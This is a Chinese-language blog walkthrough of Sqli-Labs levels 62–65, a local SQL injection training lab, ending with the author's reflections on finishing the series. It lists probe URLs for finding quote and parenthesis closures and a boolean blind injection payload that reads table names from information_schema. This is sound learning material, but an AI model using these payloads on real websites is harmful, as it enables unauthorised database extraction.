Sqli-Labs:Less 62 - Less 65

Less 62

基于Bool_GET_单引号_小括号_字符型_盲注

http://localhost:8088/sqlilabs/Less-62/?id=1'
http://localhost:8088/sqlilabs/Less-62/?id=1"
http://localhost:8088/sqlilabs/Less-62/?id=1'--+
http://localhost:8088/sqlilabs/Less-62/?id=1')--+

双引号正确回显,单引号和单引号加注释都没报错回显,字符型单引号加小括号闭合。

http://localhost:8088/sqlilabs/Less-62/?id=1') union select 1,2,3--+

Sqli-Labs:Less 62 - Less 65_第1张图片

无报错回显,不能报错注入,且union注入也失效,只能盲注。
因有次数限制,用二分法的 Bool 盲注:

http://localhost:8088/sqlilabs/Less-62/?id=1') and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)--+

使用 Sqli-Bool-GET 脚本:

Sqli-Labs:Less 62 - Less 65_第2张图片

Less 63

基于Bool_GET_单引号_小括号_字符型_盲注

http://localhost:8088/sqlilabs/Less-63/?id=1'
http://localhost:8088/sqlilabs/Less-63/?id=1"
http://localhost:8088/sqlilabs/Less-63/?id=1'--+

单引号没报错回显,双引号和单引号加注释都正确回显,字符型单引号闭合。
Bool 盲注同 Less 62。

Less 64

基于Bool_GET_单引号_小括号_字符型_盲注

http://localhost:8088/sqlilabs/Less-64/?id=1'
http://localhost:8088/sqlilabs/Less-64/?id=1"

http://localhost:8088/sqlilabs/Less-64/?id=1--+

http://localhost:8088/sqlilabs/Less-64/?id=1)--+
http://localhost:8088/sqlilabs/Less-64/?id=1')--+
http://localhost:8088/sqlilabs/Less-64/?id=1")--+

http://localhost:8088/sqlilabs/Less-64/?id=1))--+

单引号和双引号都没报错回显,说明有小括号或为数字型无小括号。
数字型加小括号没报错回显,说明不是数字型无小括号,即确定有小括号。
数字型、单引号、双引号加小括号加注释都没报错回显,说明不是一个小括号。
数字型加两个小括号闭合。
Bool 盲注同 Less 62。

Less 65

基于Bool_GET_单引号_小括号_字符型_盲注

http://localhost:8088/sqlilabs/Less-65/?id=1'
http://localhost:8088/sqlilabs/Less-65/?id=1"
http://localhost:8088/sqlilabs/Less-65/?id=1"--+
http://localhost:8088/sqlilabs/Less-65/?id=1")--+

单引号正确回显,双引号和双引号加注释都没报错回显,字符型双引号加小括号闭合。
Bool 盲注同 Less 62。

结语

至此,Sqli-Labs 全 65 关都写完了,后期总是重复的四关一个组合,目的还是训练判断查询语句的闭合条件。本来计划会在暑假写完,拖了一阵,不过现在刚开学两周也还不晚。

看作者的 GitHub 已经四年没更新了,想来待续的那些关卡应该不会补上了。
总体来说这套题对于初学者还是很友好的,涉及了那些基本和有些提高的 SQL 注入技巧,受益良多。

如今很多时候注入都不是靠手注,脚本和工具(如 SQLmap)很多。但手注作为基础,是每个学习者必经的一步。在学习完原理后,就可以自己写出一个注入的自动化工具来。大多数人刚开始都是使用别人的工具,而这种习惯已经侵蚀着你的思维和学习方式,为了不做一个 script kids,完成原理的学习是必须的。

这里还要感谢一下带我的师傅 zblee,虽然还没来得及教我啥就毕业了【笑】,我能坚持下来很大的原因也是在我啥都不会的时候能耐心告诉我该怎么做【现在想想要我肯定是没耐心的】。

借鉴《MySQL注入天书》的一些话:

这里我想谈下关系型数据库和非关系型数据库。
在我们上述的例子中,我们使用的是 MySQL,MsSQL 和 Oracle 的语法有些不同,但是道理是一致的,但是这里也要注意某一类型的数据库有着数据自己的特定的一些东西,例如 MsSQL 的 xp_cmdshell。但是最终依旧是要殊途同归,他们实现的需求是一致的。
而现在比较热的 NoSQL(非关系型数据库),例如 MongoDB 等的出现。很多人认为我们学的东西即将过时,但是从现在 MongoDB 的注入过程中看,其实和我们关系型数据库的思想是一致的,当你了解后再去开拓 NoSQL 的技能,相信你能事半功倍。

以后可能会加一些 SQLmap 的学习笔记,也可能将这三十多篇文章排个版导成 PDF 留给后辈。接下来可能要去学习 XSS 或者做实验室的项目了,毕竟事情是做不完的【笑。

最后,如果你从头看到了这里,感谢你选择我的教程,希望能对你有所帮助。

你可能感兴趣的:(Sqli-Labs:Less 62 - Less 65)